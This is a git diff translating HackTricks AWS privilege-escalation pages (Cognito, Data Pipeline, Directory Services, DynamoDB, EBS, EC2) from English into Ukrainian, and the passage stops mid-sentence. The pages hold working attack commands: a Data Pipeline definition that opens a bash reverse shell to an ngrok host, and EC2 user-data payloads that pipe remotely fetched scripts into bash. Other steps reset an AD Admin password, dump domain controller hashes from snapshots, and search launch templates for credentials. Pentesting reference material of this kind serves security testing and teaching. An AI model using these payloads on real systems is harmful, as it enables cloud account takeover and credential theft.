page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Використання +Приклад використання cognito\_\_attack для спроби створення користувача та всіх векторів підвищення привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи ескалацію привілеїв. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### Встановлення ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Використання ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Для отримання додаткової інформації перегляньте [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..e806ad98d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Для отримання додаткової інформації про datapipeline перегляньте: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Користувачі з цими **дозволами можуть підвищити привілеї, створивши Data Pipeline** для виконання довільних команд, використовуючи **дозволи призначеної ролі:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Після створення конвеєра зловмисник оновлює його визначення, щоб вказати конкретні дії або створення ресурсів: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> Зверніть увагу, що **роль** в **рядках 14, 15 та 27** повинна бути роллю, **яку може прийняти datapipeline.amazonaws.com**, а роль в **рядку 28** повинна бути **роллю, яку може прийняти ec2.amazonaws.com з профілем EC2**. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Крім того, EC2 екземпляр матиме доступ лише до ролі, яку може прийняти EC2 екземпляр (тому ви можете вкрасти лише цю). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +Файл **визначення конвеєра, створений зловмисником, містить директиви для виконання команд** або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв. -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2, що вказана. -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..17dc1871a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -4,7 +4,7 @@ ## Directory Services -For more info about directory services check: +Для отримання додаткової інформації про служби каталогів перегляньте: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +Ця дозволяє **змінювати** **пароль** будь-якого **існуючого** користувача в Active Directory.\ +За замовчуванням, єдиним існуючим користувачем є **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +Можливо активувати **URL доступу до програми**, до якого користувачі з AD можуть отримати доступ для входу:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +А потім **надати їм роль AWS IAM** для входу, таким чином користувач/група AD матиме доступ до консолі управління AWS:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Очевидно, що немає жодного способу активувати URL доступу до програми, консоль управління AWS та надати дозволи {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..4c415e724 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,24 +4,20 @@ ## dynamodb -For more info about dynamodb check: +Для отримання додаткової інформації про dynamodb перегляньте: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### Постексплуатація -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи на AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Постексплуатації DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Читати дані, зловживаючи потоками даних {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..7e34fe974 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Атакуючий з цими правами зможе потенційно **завантажити та проаналізувати знімки томів локально** та шукати чутливу інформацію в них (таку як секрети або вихідний код). Дізнайтеся, як це зробити в: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +Інші дозволи також можуть бути корисними, такі як: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +Інструмент [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) виконує цю атаку, щоб **витягти паролі з контролера домену**. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в знімку (ви навіть можете отримати паролі Active Directory). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Будь-який користувач AWS, що має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх користувачів домену, створивши **знімок контролера домену**, підключивши його до екземпляра, яким він керує, та **експортувавши NTDS.dit та SYSTEM** файл реєстру для використання з проектом secretsdump від Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..2edba94bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Для отримання більшої **інформації про EC2** перевірте: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Зловмисник може **створити екземпляр, прикріпивши IAM роль, а потім отримати доступ до екземпляра**, щоб вкрасти облікові дані IAM ролі з кінцевої точки метаданих. -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **Доступ через SSH** +Запустіть новий екземпляр, використовуючи **створений** **ssh ключ** (`--key-name`), а потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Доступ через rev shell у даних користувача** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Ви можете запустити новий екземпляр, використовуючи **дані користувача** (`--user-data`), які надішлють вам **rev shell**. Вам не потрібно вказувати групу безпеки таким чином. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +Будьте обережні з GuradDuty, якщо ви використовуєте облікові дані IAM-ролі поза межами екземпляра: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі EC2, прикріпленої до існуючих профілів екземплярів. -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### Підвищення привілеїв до ECS +З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** всередині **екземпляра EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS, прикріплені**. ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Щоб дізнатися, як **примусити служби ECS працювати** на цьому новому EC2 екземплярі, перегляньте: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Якщо ви **не можете створити новий екземпляр**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати екземпляр у кластері та виконати коментовану атаку. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Потенційний вплив:** Пряме підвищення привілеїв до ролей ECS, прикріплених до завдань. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Подібно до попереднього сценарію, зловмисник з цими дозволами може **змінити IAM роль скомпрометованого екземпляра**, щоб він міг вкрасти нові облікові дані.\ +Оскільки профіль екземпляра може мати лише 1 роль, якщо профіль екземпляра **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:** -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Якщо екземпляр **не має жодного профілю екземпляра** (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею. +- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** його \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\ +Після запуску інстансу він може **викрасти IAM роль**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**. +Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Potential Impact:** Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +Зловмисник з дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити конфігурацію запуску** з **IAM роллю** та **rev shell** всередині **даних користувача**, потім **створити групу автоскалювання** з цієї конфігурації та чекати, поки rev shell **вкраде IAM роль**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не є достатніми для підвищення** привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, **вам потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим підвищенням привілеїв). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh ключ до користувача і використовувати його для доступу (якщо у нього є ssh доступ до екземпляра) або для підвищення привілеїв. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`, щоб активувати його**. +Щоб підключитися до серійного порту, вам також **потрібно знати ім'я користувача та пароль користувача** всередині машини. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Potential Impact:** (Високо неперевірено) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через всі версії доступних шаблонів запуску: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +В наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Потенційний 